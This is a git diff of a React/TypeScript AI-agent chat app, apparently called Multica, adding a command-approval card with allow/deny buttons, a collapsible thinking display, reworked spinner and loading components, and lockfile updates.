||||
const text = e.clipboardData.getData("text");
|
||||
if (!text.trim()) return;
|
||||
// Let the textarea update visually first, then validate
|
||||
setTimeout(() => tryConnect(text), 50);
|
||||
},
|
||||
[tryConnect],
|
||||
);
|
||||
|
||||
// Promise-based handler for QrScannerView
|
||||
const handleScanResult = useCallback(async (data: string) => {
|
||||
const info = parseConnectionCode(data);
|
||||
saveConnection(info);
|
||||
useConnectionStore.getState().connect(info);
|
||||
}, []);
|
||||
const handleScanResult = useCallback(
|
||||
async (data: string) => {
|
||||
const info = parseConnectionCode(data);
|
||||
onConnect(
|
||||
{ gateway: info.gateway, hubId: info.hubId, agentId: info.agentId },
|
||||
info.token,
|
||||
);
|
||||
},
|
||||
[onConnect],
|
||||
);
|
||||
|
||||
const isInProgress =
|
||||
gwState === "connecting" ||
|
||||
gwState === "connected" ||
|
||||
gwState === "verifying";
|
||||
connectionState === "connecting" ||
|
||||
connectionState === "connected" ||
|
||||
connectionState === "verifying";
|
||||
|
||||
// Verification rejected — show rejection feedback
|
||||
if (showRejected) {
|
||||
return <RejectedStatus fullscreen={isMobile} onDismiss={handleDismissRejected} />;
|
||||
return (
|
||||
<RejectedStatus fullscreen={isMobile} onDismiss={handleDismissRejected} />
|
||||
);
|
||||
}
|
||||
|
||||
// Connection in progress — show status (replaces scanner/paste)
|
||||
if (isInProgress) {
|
||||
return <ConnectionStatus fullscreen={isMobile} />;
|
||||
return (
|
||||
<ConnectionStatus
|
||||
connectionState={connectionState}
|
||||
fullscreen={isMobile}
|
||||
onCancel={onCancel}
|
||||
/>
|
||||
);
|
||||
}
|
||||
|
||||
// Mobile: scanner only, no tabs, no paste
|
||||
// Mobile: scanner only
|
||||
if (isMobile) {
|
||||
return (
|
||||
<div className="flex flex-col items-center justify-center h-full gap-4 px-4">
|
||||
<div className="text-center space-y-1">
|
||||
<p className="text-base font-medium">Scan to start</p>
|
||||
<p className="text-xs text-muted-foreground">
|
||||
Scan a Multica QR code to start chatting
|
||||
</p>
|
||||
</div>
|
||||
<div className="flex flex-col items-center justify-center h-full gap-4 px-4 mb-28">
|
||||
<PairingHeader
|
||||
title="Scan to connect"
|
||||
description="Scan a Multica QR code to connect to your agent"
|
||||
/>
|
||||
<QrScannerView onResult={handleScanResult} fullscreen />
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
// Desktop: tab toggle (scan / paste), same-size panels
|
||||
// Desktop: tab toggle (scan / paste)
|
||||
return (
|
||||
<div className="flex flex-col items-center justify-center h-full gap-4 px-4">
|
||||
<div className="text-center space-y-1">
|
||||
<p className="text-base font-medium">
|
||||
{mode === "scan" ? "Scan to start" : "Paste to start"}
|
||||
</p>
|
||||
<p className="text-xs text-muted-foreground">
|
||||
{mode === "scan"
|
||||
? "Scan a Multica QR code to start chatting"
|
||||
: "Paste a Multica connection code to start chatting"}
|
||||
</p>
|
||||
</div>
|
||||
<div className="flex flex-col items-center justify-center h-full gap-4 px-4 mb-28">
|
||||
<PairingHeader
|
||||
title={mode === "scan" ? "Scan to connect" : "Paste to connect"}
|
||||
description={mode === "scan"
|
||||
? "Scan a Multica QR code to connect to your agent"
|
||||
: "Paste a Multica connection code to connect to your agent"}
|
||||
/>
|
||||
|
||||
{/* Mode toggle */}
|
||||
<div className="flex gap-1 bg-muted rounded-lg p-1">
|
||||
|
|
@ -218,7 +263,7 @@ export function ConnectPrompt() {
|
|||
</Button>
|
||||
</div>
|
||||
|
||||
{/* Content — same max-width for both modes */}
|
||||
{/* Content */}
|
||||
<div className="w-full max-w-[320px]">
|
||||
{mode === "scan" ? (
|
||||
<QrScannerView onResult={handleScanResult} />
|
||||
144
packages/ui/src/components/exec-approval-item.tsx
Normal file
144
packages/ui/src/components/exec-approval-item.tsx
Normal file
|
|
@ -0,0 +1,144 @@
|
|||
"use client"
|
||||
|
||||
import { memo, useState, useEffect, useCallback } from "react"
|
||||
import { HugeiconsIcon } from "@hugeicons/react"
|
||||
import {
|
||||
Tick01Icon,
|
||||
TickDouble01Icon,
|
||||
Cancel01Icon,
|
||||
CommandLineIcon,
|
||||
} from "@hugeicons/core-free-icons"
|
||||
import { cn } from "@multica/ui/lib/utils"
|
||||
import { Button } from "@multica/ui/components/ui/button"
|
||||
|
||||
export interface ExecApprovalItemProps {
|
||||
command: string
|
||||
cwd?: string
|
||||
riskLevel: "safe" | "needs-review" | "dangerous"
|
||||
riskReasons: string[]
|
||||
expiresAtMs: number
|
||||
onDecision: (decision: "allow-once" | "allow-always" | "deny") => void
|
||||
}
|
||||
|
||||
function useCountdown(expiresAtMs: number): number {
|
||||
const [remaining, setRemaining] = useState(() =>
|
||||
Math.max(0, Math.ceil((expiresAtMs - Date.now()) / 1000)),
|
||||
)
|
||||
|
||||
useEffect(() => {
|
||||
const id = setInterval(() => {
|
||||
const next = Math.max(0, Math.ceil((expiresAtMs - Date.now()) / 1000))
|
||||
setRemaining(next)
|
||||
if (next <= 0) clearInterval(id)
|
||||
}, 1000)
|
||||
return () => clearInterval(id)
|
||||
}, [expiresAtMs])
|
||||
|
||||
return remaining
|
||||
}
|
||||
|
||||
export const ExecApprovalItem = memo(function ExecApprovalItem({
|
||||
command,
|
||||
cwd,
|
||||
riskLevel,
|
||||
riskReasons,
|
||||
expiresAtMs,
|
||||
onDecision,
|
||||
}: ExecApprovalItemProps) {
|
||||
const remaining = useCountdown(expiresAtMs)
|
||||
const [decided, setDecided] = useState(false)
|
||||
|
||||
const handleDecision = useCallback(
|
||||
(decision: "allow-once" | "allow-always" | "deny") => {
|
||||
if (decided) return
|
||||
setDecided(true)
|
||||
onDecision(decision)
|
||||
},
|
||||
[decided, onDecision],
|
||||
)
|
||||
|
||||
const riskLabel =
|
||||
riskLevel === "dangerous"
|
||||
? "Dangerous command"
|
||||
: riskLevel === "needs-review"
|
||||
? "Needs review"
|
||||
: "Command approval"
|
||||
|
||||
return (
|
||||
<div className="py-0.5 px-2.5 text-sm text-muted-foreground">
|
||||
<div className="rounded bg-muted/30 px-3 py-2.5 space-y-2.5">
|
||||
{/* Header: icon + risk label + countdown */}
|
||||
<div className="flex items-center justify-between">
|
||||
<div className="flex items-center gap-1.5">
|
||||
<HugeiconsIcon icon={CommandLineIcon} strokeWidth={2} className="size-3.5 shrink-0" />
|
||||
<span className="font-medium text-foreground">{riskLabel}</span>
|
||||
</div>
|
||||
{remaining > 0 && !decided && (
|
||||
<span className="text-xs text-muted-foreground/60 font-[tabular-nums]">
|
||||
{remaining}s
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Command */}
|
||||
<div className="rounded bg-background/80 border border-border/50 px-2.5 py-1.5 font-mono text-xs text-foreground break-words">
|
||||
{command}
|
||||
{cwd && (
|
||||
<span className="block mt-1 text-muted-foreground/60 font-sans">
|
||||
in {cwd}
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Risk reasons */}
|
||||
{riskReasons.length > 0 && (
|
||||
<div className="text-xs text-muted-foreground/60 space-y-0.5">
|
||||
{riskReasons.map((reason, i) => (
|
||||
<p key={i}>{reason}</p>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Actions */}
|
||||
{!decided && remaining > 0 ? (
|
||||
<div className="flex items-center gap-2">
|
||||
<Button
|
||||
variant="outline"
|
||||
size="sm"
|
||||
className="h-7 text-xs gap-1.5 px-2.5"
|
||||
onClick={() => handleDecision("allow-once")}
|
||||
>
|
||||
<HugeiconsIcon icon={Tick01Icon} strokeWidth={2} className="size-3.5" />
|
||||
Allow
|
||||
</Button>
|
||||
<Button
|
||||
variant="outline"
|
||||
size="sm"
|
||||
className="h-7 text-xs gap-1.5 px-2.5"
|
||||
onClick={() => handleDecision("allow-always")}
|
||||
>
|
||||
<HugeiconsIcon icon={TickDouble01Icon} strokeWidth={2} className="size-3.5" />
|
||||
Always
|
||||
</Button>
|
||||
<Button
|
||||
variant="outline"
|
||||
size="sm"
|
||||
className="h-7 text-xs gap-1.5 px-2.5"
|
||||
onClick={() => handleDecision("deny")}
|
||||
>
|
||||
<HugeiconsIcon icon={Cancel01Icon} strokeWidth={2} className="size-3.5" />
|
||||
Deny
|
||||
</Button>
|
||||
</div>
|
||||
) : (
|
||||
<p className={cn(
|
||||
"text-xs",
|
||||
decided ? "text-muted-foreground" : "text-muted-foreground/60",
|
||||
)}>
|
||||
{decided ? "Decision sent" : "Expired"}
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
})
|
||||
|
|
@ -268,7 +268,7 @@ export function Markdown({
|
|||
const processedContent = React.useMemo(() => preprocessLinks(children), [children])
|
||||
|
||||
return (
|
||||
<div className={cn('markdown-content', className)}>
|
||||
<div className={cn('markdown-content break-words', className)}>
|
||||
<ReactMarkdown
|
||||
remarkPlugins={[remarkGfm]}
|
||||
rehypePlugins={[rehypeRaw]}
|
||||
|
|
|
|||
|
|
@ -4,15 +4,24 @@ import { memo, useMemo } from "react";
|
|||
import { MemoizedMarkdown } from "@multica/ui/components/markdown";
|
||||
import { StreamingMarkdown } from "@multica/ui/components/markdown/StreamingMarkdown";
|
||||
import { ToolCallItem } from "@multica/ui/components/tool-call-item";
|
||||
import { ThinkingItem } from "@multica/ui/components/thinking-item";
|
||||
import { cn, getTextContent } from "@multica/ui/lib/utils";
|
||||
import type { Message } from "@multica/store";
|
||||
import type { ContentBlock, ToolCall } from "@multica/sdk";
|
||||
import type { ContentBlock, ToolCall, ThinkingContent } from "@multica/sdk";
|
||||
|
||||
/** Extract toolCall blocks from content */
|
||||
function getToolCalls(blocks: ContentBlock[]): ToolCall[] {
|
||||
return blocks.filter((b): b is ToolCall => b.type === "toolCall")
|
||||
}
|
||||
|
||||
/** Extract concatenated thinking text from content blocks */
|
||||
function getThinkingText(blocks: ContentBlock[]): string {
|
||||
return blocks
|
||||
.filter((b): b is ThinkingContent => b.type === "thinking")
|
||||
.map((b) => b.thinking ?? "")
|
||||
.join("")
|
||||
}
|
||||
|
||||
/** Build a synthetic "running" toolResult Message from a ToolCall block */
|
||||
function toRunningMessage(tc: ToolCall, agentId: string): Message {
|
||||
return {
|
||||
|
|
@ -46,7 +55,7 @@ export const MessageList = memo(function MessageList({ messages, streamingIds }:
|
|||
}, [messages])
|
||||
|
||||
return (
|
||||
<div className="relative px-4 py-6 max-w-4xl mx-auto">
|
||||
<div className="relative p-6 px-4 sm:px-10 max-w-4xl mx-auto">
|
||||
{messages.map((msg) => {
|
||||
// ToolResult messages → render as tool execution item
|
||||
if (msg.role === "toolResult") {
|
||||
|
|
@ -55,17 +64,24 @@ export const MessageList = memo(function MessageList({ messages, streamingIds }:
|
|||
|
||||
const text = getTextContent(msg.content)
|
||||
const toolCalls = msg.role === "assistant" ? getToolCalls(msg.content) : []
|
||||
const thinking = msg.role === "assistant" ? getThinkingText(msg.content) : ""
|
||||
const hasThinkingBlocks = msg.role === "assistant" && msg.content.some((b) => b.type === "thinking")
|
||||
const isStreaming = streamingIds.has(msg.id)
|
||||
|
||||
// Find toolCall blocks that don't have a toolResult message yet —
|
||||
// these are tools the LLM decided to call but haven't started executing
|
||||
const unresolvedToolCalls = toolCalls.filter((tc) => !resolvedToolCallIds.has(tc.id))
|
||||
|
||||
// Skip completely empty messages (no text, no unresolved tools, not streaming)
|
||||
if (!text && unresolvedToolCalls.length === 0 && !isStreaming) return null
|
||||
// Skip completely empty messages (no text, no unresolved tools, no thinking, not streaming)
|
||||
if (!text && unresolvedToolCalls.length === 0 && !hasThinkingBlocks && !isStreaming) return null
|
||||
|
||||
return (
|
||||
<div key={msg.id}>
|
||||
{/* Render thinking content (before text, matching LLM output order) */}
|
||||
{hasThinkingBlocks && (
|
||||
<ThinkingItem thinking={thinking} isStreaming={isStreaming} />
|
||||
)}
|
||||
|
||||
{/* Render text content (if any) */}
|
||||
{(text || isStreaming) && (
|
||||
<div
|
||||
|
|
|
|||
33
packages/ui/src/components/multica-icon.tsx
Normal file
33
packages/ui/src/components/multica-icon.tsx
Normal file
|
|
@ -0,0 +1,33 @@
|
|||
import { cn } from "@multica/ui/lib/utils";
|
||||
|
||||
/**
|
||||
* Pure CSS 8-pointed asterisk icon matching the Multica logo.
|
||||
* Uses currentColor so it adapts to light/dark themes automatically.
|
||||
* Clip-path polygon traced from the original SVG path coordinates.
|
||||
*/
|
||||
export function MulticaIcon({
|
||||
className,
|
||||
...props
|
||||
}: React.ComponentProps<"span">) {
|
||||
return (
|
||||
<span
|
||||
className={cn("inline-block size-[1em] hover:animate-spin", className)}
|
||||
aria-hidden="true"
|
||||
{...props}
|
||||
>
|
||||
<span
|
||||
className="block size-full bg-current"
|
||||
style={{
|
||||
clipPath: `polygon(
|
||||
45% 62.1%, 45% 100%, 55% 100%, 55% 62.1%,
|
||||
81.8% 88.9%, 88.9% 81.8%, 62.1% 55%, 100% 55%,
|
||||
100% 45%, 62.1% 45%, 88.9% 18.2%, 81.8% 11.1%,
|
||||
55% 37.9%, 55% 0%, 45% 0%, 45% 37.9%,
|
||||
18.2% 11.1%, 11.1% 18.2%, 37.9% 45%, 0% 45%,
|
||||
0% 55%, 37.9% 55%, 11.1% 81.8%, 18.2% 88.9%
|
||||
)`,
|
||||
}}
|
||||
/>
|
||||
</span>
|
||||
);
|
||||
}
|
||||
|
|
@ -1,16 +1,12 @@
|
|||
/**
|
||||
* Spinner - 3x3 grid spinner based on SpinKit Grid
|
||||
* Spinner — 3x3 grid pulse for **active processing / execution** states.
|
||||
*
|
||||
* Features:
|
||||
* - Uses currentColor (inherits text color from parent, typically theme primary)
|
||||
* - Uses em sizing (scales with font-size)
|
||||
* - 3x3 grid of cubes with staggered scale animation
|
||||
* - Pure CSS animation (no JS state)
|
||||
* Use when the system is actively doing work or waiting for human action
|
||||
* (streaming content, generating responses, awaiting approval).
|
||||
* For passive content-loading states, use `<Loading />` instead.
|
||||
*
|
||||
* Usage:
|
||||
* <Spinner className="text-primary" /> // Uses primary theme color
|
||||
* <Spinner className="text-muted-foreground" /> // Uses muted color
|
||||
* <Spinner className="text-xs" /> // Controls size via Tailwind font-size
|
||||
* Inherits color from `currentColor` (use Tailwind `text-*`).
|
||||
* Scales with font-size (use Tailwind `text-*` for size).
|
||||
*/
|
||||
import { cn } from "@multica/ui/lib/utils"
|
||||
|
||||
|
|
@ -19,18 +15,33 @@ export interface SpinnerProps {
|
|||
className?: string
|
||||
}
|
||||
|
||||
const DELAYS = [0.2, 0.3, 0.4, 0.1, 0.2, 0.3, 0, 0.1, 0.2]
|
||||
|
||||
const cubeStyle: React.CSSProperties = {
|
||||
backgroundColor: "currentColor",
|
||||
animation: "spinner-grid 1.3s infinite ease-in-out",
|
||||
transform: "scale3d(0.5, 0.5, 1)",
|
||||
}
|
||||
|
||||
export function Spinner({ className }: SpinnerProps) {
|
||||
return (
|
||||
<span className={cn("spinner", className)} role="status" aria-label="Loading">
|
||||
<span className="spinner-cube" />
|
||||
<span className="spinner-cube" />
|
||||
<span className="spinner-cube" />
|
||||
<span className="spinner-cube" />
|
||||
<span className="spinner-cube" />
|
||||
<span className="spinner-cube" />
|
||||
<span className="spinner-cube" />
|
||||
<span className="spinner-cube" />
|
||||
<span className="spinner-cube" />
|
||||
<span
|
||||
className={cn(className)}
|
||||
role="status"
|
||||
aria-label="Loading"
|
||||
style={{
|
||||
display: "inline-grid",
|
||||
gridTemplateColumns: "repeat(3, 1fr)",
|
||||
width: "1em",
|
||||
height: "1em",
|
||||
gap: "0.08em",
|
||||
}}
|
||||
>
|
||||
{DELAYS.map((delay, i) => (
|
||||
<span key={i} style={{ ...cubeStyle, animationDelay: `${delay}s` }} />
|
||||
))}
|
||||
|
||||
<style>{`@keyframes spinner-grid{0%,70%,100%{transform:scale3d(.5,.5,1)}35%{transform:scale3d(0,0,1)}}`}</style>
|
||||
</span>
|
||||
)
|
||||
}
|
||||
|
|
|
|||
98
packages/ui/src/components/thinking-item.tsx
Normal file
98
packages/ui/src/components/thinking-item.tsx
Normal file
|
|
@ -0,0 +1,98 @@
|
|||
"use client"
|
||||
|
||||
import { memo, useState } from "react"
|
||||
import { HugeiconsIcon } from "@hugeicons/react"
|
||||
import {
|
||||
AiBrain01Icon,
|
||||
ArrowRight01Icon,
|
||||
} from "@hugeicons/core-free-icons"
|
||||
import { cn } from "@multica/ui/lib/utils"
|
||||
|
||||
interface ThinkingItemProps {
|
||||
thinking: string
|
||||
isStreaming?: boolean
|
||||
}
|
||||
|
||||
export const ThinkingItem = memo(function ThinkingItem({ thinking, isStreaming }: ThinkingItemProps) {
|
||||
const [expanded, setExpanded] = useState(false)
|
||||
|
||||
const hasContent = !!thinking
|
||||
const isThinking = isStreaming && !hasContent
|
||||
|
||||
return (
|
||||
<div className="py-0.5 px-2.5 text-sm text-muted-foreground">
|
||||
<div className={cn("rounded transition-colors", expanded && "bg-muted/30")}>
|
||||
<button
|
||||
type="button"
|
||||
aria-label={isThinking ? "Thinking" : "Thought"}
|
||||
aria-expanded={hasContent ? expanded : undefined}
|
||||
onClick={() => hasContent && setExpanded(!expanded)}
|
||||
className={cn(
|
||||
"group flex w-full items-center gap-1.5 rounded px-2.5 py-1",
|
||||
"text-left transition-[color,background-color]",
|
||||
"focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-1 outline-none",
|
||||
hasContent && !expanded && "hover:bg-muted/30 cursor-pointer",
|
||||
hasContent && expanded && "cursor-pointer",
|
||||
!hasContent && "cursor-default",
|
||||
)}
|
||||
>
|
||||
{/* Status dot */}
|
||||
<span
|
||||
className={cn(
|
||||
"size-1.5 rounded-full shrink-0",
|
||||
isThinking
|
||||
? "bg-[var(--tool-running)] motion-safe:animate-[glow-pulse_2s_ease-in-out_infinite]"
|
||||
: "bg-[var(--tool-success)]",
|
||||
)}
|
||||
/>
|
||||
|
||||
{/* Icon */}
|
||||
<HugeiconsIcon
|
||||
icon={AiBrain01Icon}
|
||||
strokeWidth={2}
|
||||
className="size-3.5 shrink-0"
|
||||
/>
|
||||
|
||||
{/* Label */}
|
||||
<span className="font-medium shrink-0">
|
||||
{isThinking ? "Thinking" : "Thought"}
|
||||
</span>
|
||||
|
||||
{/* Running indicator */}
|
||||
{isThinking && (
|
||||
<span className="ml-auto text-xs text-muted-foreground/60 shrink-0 font-[tabular-nums] motion-safe:animate-pulse">
|
||||
thinking…
|
||||
</span>
|
||||
)}
|
||||
|
||||
{/* Chevron — visible on hover when expandable */}
|
||||
{hasContent && (
|
||||
<HugeiconsIcon
|
||||
icon={ArrowRight01Icon}
|
||||
strokeWidth={2}
|
||||
className={cn(
|
||||
"size-3 text-muted-foreground/40 shrink-0",
|
||||
"transition-[transform,opacity] duration-150",
|
||||
!isThinking && "ml-auto",
|
||||
"opacity-0 group-hover:opacity-100",
|
||||
expanded && "rotate-90 opacity-100",
|
||||
)}
|
||||
/>
|
||||
)}
|
||||
</button>
|
||||
|
||||
{/* Expanded thinking content */}
|
||||
{expanded && thinking && (
|
||||
<div
|
||||
role="region"
|
||||
aria-label="Thinking content"
|
||||
tabIndex={0}
|
||||
className="px-2.5 pt-1 pb-2 text-xs max-h-48 overflow-y-auto whitespace-pre-wrap break-words"
|
||||
>
|
||||
{thinking}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
})
|
||||
|
|
@ -134,16 +134,18 @@ export const ToolCallItem = memo(function ToolCallItem({ message }: { message: M
|
|||
|
||||
return (
|
||||
<div className="py-0.5 px-2.5 text-sm text-muted-foreground">
|
||||
<div className={cn("rounded transition-colors", expanded && "bg-muted/30")}>
|
||||
<button
|
||||
type="button"
|
||||
aria-label={`${display.label}${subtitle ? ` ${subtitle}` : ""} — ${toolStatus}`}
|
||||
aria-expanded={hasDetails ? expanded : undefined}
|
||||
onClick={() => hasDetails && setExpanded(!expanded)}
|
||||
className={cn(
|
||||
"group flex w-full items-center gap-1.5 rounded px-1.5 py-0.5",
|
||||
"group flex w-full items-center gap-1.5 rounded px-2.5 py-1",
|
||||
"text-left transition-[color,background-color]",
|
||||
"focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-1 outline-none",
|
||||
hasDetails && "hover:bg-muted/30 cursor-pointer",
|
||||
hasDetails && !expanded && "hover:bg-muted/30 cursor-pointer",
|
||||
hasDetails && expanded && "cursor-pointer",
|
||||
!hasDetails && "cursor-default",
|
||||
)}
|
||||
>
|
||||
|
|
@ -214,11 +216,12 @@ export const ToolCallItem = memo(function ToolCallItem({ message }: { message: M
|
|||
role="region"
|
||||
aria-label={`${display.label} result`}
|
||||
tabIndex={0}
|
||||
className="mt-1 ml-7 text-xs bg-muted rounded p-2 max-h-48 overflow-y-auto whitespace-pre-wrap break-all"
|
||||
className="px-2.5 pt-1 pb-2 text-xs max-h-48 overflow-y-auto whitespace-pre-wrap break-all"
|
||||
>
|
||||
{resultText}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
})
|
||||
|
|
|
|||
54
packages/ui/src/components/ui/loading.tsx
Normal file
54
packages/ui/src/components/ui/loading.tsx
Normal file
|
|
@ -0,0 +1,54 @@
|
|||
import { cn } from "@multica/ui/lib/utils"
|
||||
|
||||
const BAR_COUNT = 8
|
||||
const DURATION = 1.2
|
||||
|
||||
const bars = Array.from({ length: BAR_COUNT }, (_, i) => ({
|
||||
rotate: `${i * 45}deg`,
|
||||
delay: `${-DURATION + (i * DURATION) / BAR_COUNT}s`,
|
||||
}))
|
||||
|
||||
/**
|
||||
* Loading — Apple-style radiating-line spinner for **passive waiting** states.
|
||||
*
|
||||
* Use when the user is waiting for content to arrive (page init, data fetching).
|
||||
* For active processing / execution states, use `<Spinner />` instead.
|
||||
*
|
||||
* Inherits color from `currentColor` (use Tailwind `text-*`).
|
||||
* Scales with font-size (use Tailwind `text-*` for size).
|
||||
*/
|
||||
function Loading({ className, ...props }: React.ComponentProps<"span">) {
|
||||
return (
|
||||
<span
|
||||
className={cn("text-muted-foreground", className)}
|
||||
role="status"
|
||||
aria-label="Loading"
|
||||
style={{ display: "inline-block", position: "relative", width: "1em", height: "1em" }}
|
||||
{...props}
|
||||
>
|
||||
{bars.map((bar, i) => (
|
||||
<span
|
||||
key={i}
|
||||
style={{
|
||||
position: "absolute",
|
||||
left: "calc(50% - 0.04em)",
|
||||
top: "0.1em",
|
||||
width: "0.08em",
|
||||
height: "0.24em",
|
||||
borderRadius: "1em",
|
||||
backgroundColor: "currentColor",
|
||||
transformOrigin: "50% 0.4em",
|
||||
transform: `rotate(${bar.rotate})`,
|
||||
animation: `loading-fade ${DURATION}s linear infinite`,
|
||||
animationDelay: bar.delay,
|
||||
}}
|
||||
/>
|
||||
))}
|
||||
|
||||
{/* keyframes injected once via <style> — React deduplicates identical tags */}
|
||||
<style>{`@keyframes loading-fade{0%{opacity:1}100%{opacity:.15}}`}</style>
|
||||
</span>
|
||||
)
|
||||
}
|
||||
|
||||
export { Loading }
|
||||
|
|
@ -1,15 +1,15 @@
|
|||
import { type RefObject, useEffect, useRef } from "react"
|
||||
import { type RefObject, useEffect, useRef, useCallback } from "react"
|
||||
|
||||
/**
|
||||
* Auto-scrolls a scroll container to the bottom when its inner content grows,
|
||||
* as long as the user hasn't scrolled up to read older content.
|
||||
*
|
||||
* Observes child element size changes via ResizeObserver on all children,
|
||||
* plus MutationObserver for added/removed nodes. Works for new messages,
|
||||
* history loads, streaming updates, and image loads.
|
||||
* Returns a `lockRef` that can be set to `true` to temporarily suppress
|
||||
* auto-scroll (e.g. during history prepend operations).
|
||||
*/
|
||||
export function useAutoScroll(ref: RefObject<HTMLElement | null>) {
|
||||
const stickRef = useRef(true)
|
||||
const lockRef = useRef(false)
|
||||
|
||||
useEffect(() => {
|
||||
const el = ref.current
|
||||
|
|
@ -25,6 +25,7 @@ export function useAutoScroll(ref: RefObject<HTMLElement | null>) {
|
|||
}
|
||||
|
||||
const onContentChange = () => {
|
||||
if (lockRef.current) return
|
||||
if (stickRef.current) {
|
||||
scrollToBottom()
|
||||
}
|
||||
|
|
@ -61,4 +62,12 @@ export function useAutoScroll(ref: RefObject<HTMLElement | null>) {
|
|||
mo.disconnect()
|
||||
}
|
||||
}, [ref])
|
||||
|
||||
/** Temporarily suppress auto-scroll during prepend operations */
|
||||
const suppressAutoScroll = useCallback(() => {
|
||||
lockRef.current = true
|
||||
return () => { lockRef.current = false }
|
||||
}, [])
|
||||
|
||||
return { suppressAutoScroll }
|
||||
}
|
||||
|
|
|
|||
|
|
@ -154,6 +154,10 @@
|
|||
-webkit-mask-image: linear-gradient(to bottom, black 0%, black calc(100% - 32px), transparent 100%);
|
||||
}
|
||||
|
||||
@utility container {
|
||||
@apply w-full max-w-4xl mx-auto;
|
||||
}
|
||||
|
||||
@layer base {
|
||||
* {
|
||||
@apply border-border outline-ring/50;
|
||||
|
|
@ -179,46 +183,6 @@
|
|||
}
|
||||
}
|
||||
|
||||
/* SPINNER - SpinKit Grid (3x3) */
|
||||
.spinner {
|
||||
display: inline-grid;
|
||||
grid-template-columns: repeat(3, 1fr);
|
||||
width: 1em;
|
||||
height: 1em;
|
||||
gap: 0.08em;
|
||||
}
|
||||
|
||||
.spinner-cube {
|
||||
background-color: currentColor;
|
||||
animation: spinner-grid 1.3s infinite ease-in-out;
|
||||
transform: scale3d(0.5, 0.5, 1);
|
||||
}
|
||||
|
||||
.spinner-cube:nth-child(1) { animation-delay: 0.2s; }
|
||||
.spinner-cube:nth-child(2) { animation-delay: 0.3s; }
|
||||
.spinner-cube:nth-child(3) { animation-delay: 0.4s; }
|
||||
.spinner-cube:nth-child(4) { animation-delay: 0.1s; }
|
||||
.spinner-cube:nth-child(5) { animation-delay: 0.2s; }
|
||||
.spinner-cube:nth-child(6) { animation-delay: 0.3s; }
|
||||
.spinner-cube:nth-child(7) { animation-delay: 0s; }
|
||||
.spinner-cube:nth-child(8) { animation-delay: 0.1s; }
|
||||
.spinner-cube:nth-child(9) { animation-delay: 0.2s; }
|
||||
|
||||
@keyframes spinner-grid {
|
||||
0%, 70%, 100% {
|
||||
transform: scale3d(0.5, 0.5, 1);
|
||||
}
|
||||
35% {
|
||||
transform: scale3d(0, 0, 1);
|
||||
}
|
||||
}
|
||||
|
||||
@media (prefers-reduced-motion: reduce) {
|
||||
.spinner-cube {
|
||||
animation: none;
|
||||
opacity: 0.7;
|
||||
}
|
||||
}
|
||||
|
||||
/* Tool status: running glow pulse */
|
||||
@keyframes glow-pulse {
|
||||
|
|
|
|||
44
pnpm-lock.yaml
generated
44
pnpm-lock.yaml
generated
|
|
@ -153,6 +153,9 @@ importers:
|
|||
'@hugeicons/react':
|
||||
specifier: ^1.1.4
|
||||
version: 1.1.4(react@19.2.3)
|
||||
'@multica/hooks':
|
||||
specifier: workspace:*
|
||||
version: link:../../packages/hooks
|
||||
'@multica/sdk':
|
||||
specifier: workspace:*
|
||||
version: link:../../packages/sdk
|
||||
|
|
@ -371,6 +374,9 @@ importers:
|
|||
'@hugeicons/react':
|
||||
specifier: ^1.1.4
|
||||
version: 1.1.4(react@19.2.3)
|
||||
'@multica/hooks':
|
||||
specifier: workspace:*
|
||||
version: link:../../packages/hooks
|
||||
'@multica/sdk':
|
||||
specifier: workspace:*
|
||||
version: link:../../packages/sdk
|
||||
|
|
@ -418,6 +424,28 @@ importers:
|
|||
specifier: 'catalog:'
|
||||
version: 5.9.3
|
||||
|
||||
packages/hooks:
|
||||
dependencies:
|
||||
'@multica/sdk':
|
||||
specifier: workspace:*
|
||||
version: link:../sdk
|
||||
react:
|
||||
specifier: 'catalog:'
|
||||
version: 19.2.3
|
||||
uuid:
|
||||
specifier: ^13.0.0
|
||||
version: 13.0.0
|
||||
devDependencies:
|
||||
'@types/react':
|
||||
specifier: 'catalog:'
|
||||
version: 19.1.17
|
||||
'@types/uuid':
|
||||
specifier: ^11.0.0
|
||||
version: 11.0.0
|
||||
typescript:
|
||||
specifier: 'catalog:'
|
||||
version: 5.9.3
|
||||
|
||||
packages/sdk:
|
||||
dependencies:
|
||||
socket.io-client:
|
||||
|
|
@ -445,19 +473,7 @@ importers:
|
|||
'@multica/sdk':
|
||||
specifier: workspace:*
|
||||
version: link:../sdk
|
||||
react:
|
||||
specifier: 'catalog:'
|
||||
version: 19.2.3
|
||||
uuid:
|
||||
specifier: ^13.0.0
|
||||
version: 13.0.0
|
||||
zustand:
|
||||
specifier: 'catalog:'
|
||||
version: 5.0.10(@types/react@19.1.17)(react@19.2.3)(use-sync-external-store@1.6.0(react@19.2.3))
|
||||
devDependencies:
|
||||
'@types/react':
|
||||
specifier: 'catalog:'
|
||||
version: 19.1.17
|
||||
typescript:
|
||||
specifier: 'catalog:'
|
||||
version: 5.9.3
|
||||
|
|
@ -14919,7 +14935,7 @@ snapshots:
|
|||
transitivePeerDependencies:
|
||||
- supports-color
|
||||
|
||||
eslint-module-utils@2.12.1(@typescript-eslint/parser@8.54.0(eslint@9.39.2(jiti@2.6.1))(typescript@5.9.3))(eslint-import-resolver-node@0.3.9)(eslint-import-resolver-typescript@3.10.1(eslint-plugin-import@2.32.0)(eslint@9.39.2(jiti@2.6.1)))(eslint@9.39.2(jiti@2.6.1)):
|
||||
eslint-module-utils@2.12.1(@typescript-eslint/parser@8.54.0(eslint@9.39.2(jiti@2.6.1))(typescript@5.9.3))(eslint-import-resolver-node@0.3.9)(eslint-import-resolver-typescript@3.10.1)(eslint@9.39.2(jiti@2.6.1)):
|
||||
dependencies:
|
||||
debug: 3.2.7
|
||||
optionalDependencies:
|
||||
|
|
@ -14950,7 +14966,7 @@ snapshots:
|
|||
doctrine: 2.1.0
|
||||
eslint: 9.39.2(jiti@2.6.1)
|
||||
eslint-import-resolver-node: 0.3.9
|
||||
